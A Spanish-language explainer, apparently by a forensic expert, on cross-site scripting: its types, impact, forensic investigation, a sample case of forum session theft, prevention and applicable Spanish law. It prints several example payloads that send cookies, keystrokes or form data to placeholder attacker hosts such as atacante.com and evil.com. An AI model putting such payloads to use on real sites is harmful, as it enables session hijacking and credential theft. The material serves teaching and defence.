Seguridad

XSS (Cross-Site Scripting)

Vulnerabilidad de seguridad web que permite a atacantes inyectar scripts maliciosos en páginas vistas por otros usuarios. El análisis forense de XSS investiga ataques, identifica puntos de inyección, y documenta el impacto.

3 min de lectura

¿Qué es XSS?

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a atacantes inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. El navegador de la víctima ejecuta el código creyendo que es parte legítima del sitio.

OWASP Top 10

XSS ha estado consistentemente en el OWASP Top 10 de vulnerabilidades web durante décadas. A pesar de ser bien conocido, sigue siendo extremadamente común en aplicaciones web.

Tipos de XSS

XSS Reflejado (Reflected)

El script malicioso viene en la URL y se “refleja” en la respuesta:

https://victima.com/buscar?q=<script>alert('XSS')</script>

La víctima debe hacer clic en un enlace malicioso.

XSS Almacenado (Stored)

El script se guarda en la base de datos y se ejecuta cada vez que se carga la página:

<!-- Comentario guardado en foro -->
<script>document.location='https://atacante.com/?c='+document.cookie</script>

Todos los usuarios que visitan la página son víctimas.

XSS DOM-Based

La vulnerabilidad está en el código JavaScript del cliente:

// Código vulnerable
document.getElementById("output").innerHTML = location.hash.slice(1);

// URL maliciosa
https://victima.com/#<img src=x onerror=alert('XSS')>
XSS Almacenado: Más Peligroso

El XSS almacenado es el más peligroso porque no requiere interacción: todos los visitantes de la página afectada son víctimas automáticamente.

Impacto de XSS

Robo de Sesión

// Script inyectado
new Image().src = 'https://atacante.com/robar.php?cookie=' + document.cookie;

El atacante obtiene la cookie de sesión y puede suplantar al usuario.

Captura de Credenciales

// Modificar formulario de login
document.forms[0].action = 'https://atacante.com/captura.php';

Keylogging en Navegador

// Capturar todas las pulsaciones
document.onkeypress = function(e) {
  new Image().src = 'https://atacante.com/log.php?key=' + e.key;
};

Distribución de Malware

// Redirigir a descarga maliciosa
if(!localStorage.getItem('infected')) {
  localStorage.setItem('infected', '1');
  location = 'https://atacante.com/malware.exe';
}

Análisis Forense de XSS

  1. Identificar punto de inyección: ¿Dónde se insertó el código malicioso?

  2. Analizar logs del servidor: Buscar payloads XSS en parámetros de peticiones.

  3. Revisar base de datos: Para XSS almacenado, buscar contenido malicioso guardado.

  4. Analizar código fuente: Identificar vulnerabilidad que permitió la inyección.

  5. Determinar impacto: ¿Qué datos se robaron? ¿Cuántos usuarios afectados?

  6. Rastrear al atacante: IPs, patrones de ataque, servidor receptor de datos.

Logs de Servidor Web

# Ejemplo de payload XSS en access.log
192.168.1.100 - - [18/Jan/2026:10:32:15] "GET /buscar?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200

# Decodificado: ?q=<script>alert(1)</script>

Indicadores en WAF

Los Web Application Firewalls registran intentos bloqueados:

[XSS Attack Detected]
Rule ID: 941100
URI: /comentarios
Parameter: mensaje
Value: <script>document.location='http://evil.com/?c='+document.cookie</script>
Action: Blocked

Caso Práctico: Robo de Sesiones

Escenario

Un foro detecta que múltiples cuentas de usuarios fueron comprometidas.

Investigación Forense

1. Análisis de base de datos

SELECT * FROM comentarios
WHERE contenido LIKE '%<script%' OR contenido LIKE '%onerror=%';

Encontrado:

Comentario ID: 45678
Usuario: atacante123
Contenido: "Buen post! <img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>"
Fecha: 2026-01-10 14:32

2. Análisis de logs

# Accesos al post infectado
10/01 14:35 - 192.168.1.50 - GET /foro/post/123 - víctima1
10/01 14:37 - 192.168.1.51 - GET /foro/post/123 - víctima2
...
50+ accesos al post infectado

3. Rastreo del atacante

IP origen del comentario: 185.XX.XX.XX (VPN)
Dominio receptor: evil.com
Registrado: 2026-01-08 (2 días antes del ataque)

4. Impacto determinado

  • 50+ sesiones robadas
  • 12 cuentas usadas para spam
  • 3 cuentas premium comprometidas
  • Datos personales expuestos

Informe Pericial

  • Descripción técnica de la vulnerabilidad
  • Timeline del ataque
  • Lista de usuarios afectados
  • Análisis del payload malicioso
  • Recomendaciones de remediación
Valor del Análisis

El análisis forense permitió determinar exactamente qué pasó, cuántos usuarios fueron afectados, y recopilar evidencia del atacante para acciones legales.

Prevención

Para Desarrolladores

TécnicaImplementación
Escape de salidaCodificar HTML entities
Content Security PolicyHeader CSP restrictivo
HTTPOnly cookiesCookies no accesibles por JS
Input validationValidar y sanitizar entrada

Ejemplo de Sanitización

// MAL - Vulnerable
element.innerHTML = userInput;

// BIEN - Seguro
element.textContent = userInput;
// O usar librería de sanitización
element.innerHTML = DOMPurify.sanitize(userInput);

Delitos Aplicables (España)

DelitoArtículo CPAplicación
Acceso ilícito197.1-2Acceder a datos sin autorización
Interceptación197.1Capturar cookies/credenciales
Daños informáticos264Modificar datos/sistemas
Estafa248Uso fraudulento de cuentas robadas

Responsabilidad del Sitio

El propietario del sitio vulnerable puede tener responsabilidad civil por no implementar medidas de seguridad adecuadas, especialmente si maneja datos personales (RGPD).

Conclusión

XSS sigue siendo una de las vulnerabilidades web más prevalentes y peligrosas. El análisis forense de ataques XSS requiere examinar logs, bases de datos, y código para identificar el punto de inyección, el impacto, y rastrear al atacante. Para un perito, documentar técnicamente cómo ocurrió el ataque y sus consecuencias es fundamental para procedimientos legales.

Última actualización: 18 de enero de 2026 Categoría: Seguridad Código: XSS-001

Preguntas Frecuentes

¿Qué puede hacer un atacante con XSS?

Robar cookies de sesión, capturar credenciales, redirigir usuarios a sitios maliciosos, modificar contenido de la página, instalar keyloggers en el navegador, y propagar malware.

¿Es delito explotar una vulnerabilidad XSS?

Sí, acceder sin autorización a sistemas (Art. 197 CP) y el robo de datos mediante XSS puede constituir delitos de descubrimiento de secretos, estafa, y daños informáticos.

¿Cómo se detecta un ataque XSS?

Analizando logs del servidor web, WAF, y código fuente. Las payloads XSS dejan rastros en parámetros de URL, campos de formulario, y bases de datos si es XSS almacenado.

¿Necesitas un peritaje forense?

Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.

Solicitar Consulta Gratuita
Jonathan Izquierdo

Jonathan Izquierdo · Perito Forense

+15 años experiencia · AWS Certified

WhatsApp